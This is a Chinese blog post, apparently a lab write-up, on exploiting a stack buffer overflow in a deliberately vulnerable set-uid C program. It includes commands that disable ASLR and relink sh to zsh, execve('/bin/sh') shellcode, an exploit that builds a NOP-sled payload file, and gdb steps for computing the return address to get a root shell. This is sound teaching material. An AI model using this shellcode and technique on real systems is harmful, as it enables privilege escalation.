本文主要是介绍Linux四大安全实验三-基于实验楼平台的学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
缓冲区溢出漏洞实验
- 前言
- 进行实验环境配置
- 首先进行地址随机化
- 使用zsh代替bash
- 进入Linux32环境
- 编写ShellCode
- 写入漏洞程序
- 写入攻击程序
- 进行攻击
- 总结
前言
如果需要一些前沿知识请看我前两篇博客汇编与反汇编入门-X86 AT&T汇编和初探缓冲区溢出。
进行实验环境配置
首先进行地址随机化
Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,**而猜测内存地址是缓冲区溢出攻击的关键。**命令如下:
sudo sysctl -w kernel.randomize_va_space=0
使用zsh代替bash
因为bash对set-uid程序获得root权限有防护措施,所以最好用zsh,具体见我之前的一篇文章SET-UID程序漏洞
sudo su
rm sh
ln -s zsh sh
exit
进入Linux32环境
输入
linux32
编写ShellCode
其实shellcode就是一段代码,之前我们提到过由于缓冲区溢出,数据覆盖了返回地址,比如将返回地址覆盖为JMP ESP,接下来会跳到ESP位置(栈顶),在栈顶位置写入ShellCode。先写下C代码如下:
#include<stdio.h>
#include<unistd.h>int main(int argc,char*argv[]){char *array[2];array[0]="/bin/sh";array[1]=NULL;execve(array[0],array,NULL);
}
将这段C代码转为ShellCode(这段代码的汇编版本)可能有点难理解,可以借鉴如何编写并编译一个shellcode(linux)里面有详细说明
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
写入漏洞程序
写入代码如下:
/**这段程序肯定是有缓冲区溢出漏洞的* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];/* 很明显是这个函数出现的*/strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}
程序相对简单,是将文件打开,并读这个文件的517字节,装入buffer,buffer只有12字节,肯定是会溢出的。
在这里提点题外话,现在的Linux系统很多都有对抗缓冲区溢出攻击,主要是三种
1. 地址随机化(之前已经随机化了)
2. 栈破坏检查(使用gcc编译时要加入参数-fno-stack-protector)
3. 限制可执行代码区域
以上来自CSAPP
现在来编译,将这个程序编译为set-uid程序
sudo su
gcc -g -z execstack -fno-stack-protector stack.c -o stack -m32
chmod u+s stack
exit
这里-g是便于后面使用gdb调试,-z execstack是允许执行栈,-fno-stack-protector是关闭gcc栈保护机制
写入攻击程序
攻击程序如下expoloit.c
**创建一个文件里面有ShellCode* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//这是我们之前得到的ShellCode
char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* 初始化缓冲区 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* 填入缓冲区 */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100/* 创建并存储文件 "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}
这个x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
为了得到shellCode在内存中的地址我们需要使用gdb进行调试(调试之前得到的stack),disassemble命令可以看到反汇编代码
gdb stack
disassemble main
esp中就是str的起始地址
每台计算机地址可能不同,所以最好自己调试,我在0x00001284处设置断点其实就是在stack.c中的badfile = fopen(“badfile”, “r”); 处设置断点,我这里是23行,设置断点后,运行,然后打印esp的地址即缓冲区的起始地址
记录下这里的0xffffcf50。在expoloit.c中的strcpy(buffer + 100, shellcode); 知道shellcode在buffer加上100处,所以我们通过计算十六进制可得到shellcode地址,100的十六进制为64,进入十六进制计算网站,输入0xffffcf50与0x64。
可以知道shellcode地址为0xFFFFCFB4所以我们expoloit.c中的strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");最后的\x??\x??\x??\x??可以填入**\xb4\xcf\xff\xff**(会覆盖掉函数栈的返回地址,注意填入顺序是反的,我之前的博客初探缓冲区溢出有相关内容,见前言)。然后对程序进行编译。
gcc expoloit.c -o expoloit -m32
进行攻击
分别执行攻击程序和漏洞程序可以获得root权限
总结
这次实验挺有难点,需要许多前置的知识,难点尤其在ShellCode的编写,逻辑其实就是编写C语言代码,将其转换为ShellCode(这里的C语言执行execve)。
漏洞程序是将badfile文件中的内容通过strcpy函数复制入缓冲区,而缓冲区空间必然不足,所以会溢出(这一个漏洞程序是set-uid程序)。
而攻击程序其实就是将shellcode写入badfile中,写入的最后四个字节其实就是ShellCode要放的地址会覆盖掉函数栈的返回地址。相当于到函数到ret指令后会跳转到ShellCode,即执行execve函数,由于zsh+set-uid程序的组合导致特别危险,从而获得root权限。
所以先执行攻击程序再执行漏洞程序,从而成功hack。
这篇关于Linux四大安全实验三-基于实验楼平台的学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!